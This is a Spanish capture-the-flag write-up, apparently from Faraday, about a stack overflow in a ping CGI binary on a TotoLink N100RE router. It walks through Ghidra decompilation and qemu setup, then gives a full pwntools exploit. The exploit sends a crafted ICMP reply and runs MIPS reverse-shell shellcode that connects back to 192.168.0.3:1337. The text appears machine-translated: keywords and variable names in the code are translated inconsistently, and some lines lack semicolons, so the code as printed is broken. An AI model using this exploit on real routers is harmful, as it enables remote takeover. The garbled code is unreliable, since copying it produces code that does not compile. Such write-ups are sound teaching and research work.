A principios de noviembre de este año, en Buenos Aires, Argentina, Faraday tuvo el privilegio de ser patrocinador de la EKOParty conferencia de seguridad. Como otros patrocinadores, tuvimos que construir un par de retos para el CTF.El nuestro tenía seis retos, desde vulnerabilidades web hasta exploits en dispositivos integrados. Lo particular de esos retos era que estaban dentro del router más barato del mercado: nuestro encantador TotoLink N100RE.Este es el escrito para el reto más difícil, un bug en una mala implementación de un cliente ping anticipando el Error en FreeBSD un mes antes. El buggy ping podía activarse desde el panel web; el binario se entregaba por adelantado junto con las librerías necesarias para ejecutarlo.
El binario no tiene protecciones contra errores de corrupción de memoria.
En cada reto binario necesitamos hacer la reversión del archivo, con fines educativos grabamos la sesión completa del proceso de ingeniería inversa. La idea de este video es demostrar algunas de las funcionalidades de Ghidra que pueden ser muy útiles cuando no tenemos el código fuente del reto, por ejemplo:
- cambiar el nombre y el tipo de las variables
- identificar llamadas comunes a libc en binarios mips
- establecer el tipo correcto a las estructuras
En la mayoría de los escritos sobre CTF, los conceptos de ingeniería inversa se dan por sentados. Esto es un problema para los recién llegados que no están familiarizados con algunos conceptos básicos o si no tienen experiencia previa en este campo. Sin embargo, esto será diferente. En este vídeo, le mostraremos paso a paso nuestra sesión de descompilación utilizando Ghidra. Este paso a paso es útil para cualquier inversión estática, pero es particularmente funcional para los binarios IoT.El código restaurado es casi compilable:
void sendPing(int sockfd,sockaddr_in *dest)
{
char *direcciónip;
int ret;
uint i;
int optionValue;
socklen_t addrlen;
iphdr buffer;
icmphdr icmphdrRecv;
icmp packetICMP;
sockaddr scrAddr;
timespec res1;
timespec res2;
timeval optionValue2;
optionValue = 0x40;
ipAddr = (char *)inet_ntoa((dest->sin_addr).s_addr);
optionValue2.tv_sec = 1;
optionsValue2.tv_usec = 0;
ret = setsockopt(sockfd,0,2,&optionValue,4);
if (ret == 0) {
setsockopt(sockfd,0xffff,0x1006,&optionValue2,8);
bzero(&packetICMP,0x40);
packetICMP.icmp_type = 8;
packetICMP.icmp_hun.ih_idseq.icd_id = 0x1337;
for (i = 0; i < 0x37; i = i + 1) {
packetICMP.icmp_dun.id_data[i] = (char)i + '0';
}
packetICMP.icmp_dun.id_data[i] = '�';
packetICMP.icmp_hun.ih_idseq.icd_seq = 0;
packetICMP.icmp_cksum = makeChecksum(&packetICMP,0x40);
clock_gettime(1,&res1);
ret = sendto(sockfd,&packetICMP,0x40,0,dest,0x10);
if (ret < 1) {
puts("¡Fallo en el envío del paquete!");
}
else {
addrlen = 0x10;
ret = recvfrom(sockfd,&buffer,0x200,0,&scrAddr,&addrlen);
if (ret < 1) {
puts("¡Fallo en la recepción del paquete!");
}
else {
clock_gettime(1,&res2);
if ((icmphdrRecv.type == NULL) && (icmphdrRecv.code == NULL)) {
printf("%d bytes de %s msg_seq=%d ttl=%d rtt = %lu ms.n",0x40,ipAddr,1,optionValue,
(res2.tv_sec - res1.tv_sec) * 1000 + (res2.tv_nsec - res1.tv_nsec) / 1000000);
}
else {
printf("Error..Paquete recibido con ICMP tipo %d código %dn",icmphdrRecv.type,
icmphdrRecv.code);
}
}
}
}
else {
puts("¡Ha fallado la configuración de las opciones de socket a TTL!");
}
return;
}
int main(void)
{
int elementos;
int sockfd
int ret;
sockaddr_in dest;
byte primero
byte second
byte third
byte fourth;
elements = getenv("QUERY_STRING");
puts("Content-Type: text/plain;charset=us-asciin");
if (elements == 0) {
puts("Solicitud incorrecta");
}
else {
elements = sscanf(elements, "ip=%hhu.%hhu.%hhu.%hhu",&first,&second,&third,&fourth);
si (elementos == 4) {
sockfd = socket(2,3,1);
if (sockfd < 0) {
ret = puts("¡Descriptor de fichero de socket no recibido!");
return ret;
}
setuid(1000);
setgid(1000);
dest.sin_family = 2;
dest.sin_port = htons(0);
dest.sin_addr.s_addr._0_1_ = primero;
dest.sin_addr.s_addr._1_1_ = segundo;
dest.sin_addr.s_addr._2_1_ = tercero;
dest.sin_addr.s_addr._3_1_ = cuarto;
sendPing(sockfd,&dest);
}
else {
puts("Solicitud incorrecta");
}
}
return 0;
}
Este binario también tenía todos los archivos necesarios para funcionar con Qemu como el equipo dijo en ellos twitter pista

Para ejecutarse correctamente, el ejecutable necesita recibir la dirección ip del objetivo a través de la variable de entorno QUERY_STRING
$ sudo chroot . ./qemu-mips-static -E QUERY_STRING="ip=192.168.1.254" picar Content-Type: text/plain;charset=us-ascii 64 bytes desde 192.168.1.254 msg_seq=1 ttl=64 rtt = 2 ms.
Esto será útil más tarde porque podemos depurar la muestra con un depurador como gdb.El bug está en la llamada recvfrom que recibe 0x200 bytes, la respuesta icmp tiene un tamaño inferior a ese, pero si manipulamos la respuesta, podríamos provocar un desbordamiento del buffer de pila.Para lograr este objetivo necesitamos deshabilitar la respuesta del kernel a los paquetes icmp entrantes usando sysctl
$ sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 net.ipv4.icmp_echo_ignore_all = 1
Enviando 0x200 bytes en el cuerpo del paquete ICMP podríamos manipular la dirección de retorno y secuestrar el flujo de control aprovechando la ausencia de ASLR.
Explote
Como el binario no tiene Prevención de Ejecución de Datos, saltamos directamente a la pila para ejecutar nuestro payload directamente usando el siguiente gadget del binario
Aquí está la versión completa del exploit construyendo una shell inversa con el conjunto pwntools
importar socket
from pwn import *
from scapy.all import IP, ICMP, send
context.update(arch='mips', endian='big', os='linux')
tamaño_máx = 424
shellcode = asm(
pwnlib.shellcraft.mips.linux.connect("192.168.0.3", 1337, network='ipv4') +
pwnlib.shellcraft.mips.linux.dupsh(sock='$s0')
)
payload = shellcode + b "a" * (max_size - len(shellcode)) + p32(0x00401018)
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
p = IP(s.recv(256))
send(IP(src=p.dst, dst=p.src) / ICMP(type=0, code=0) / payload)

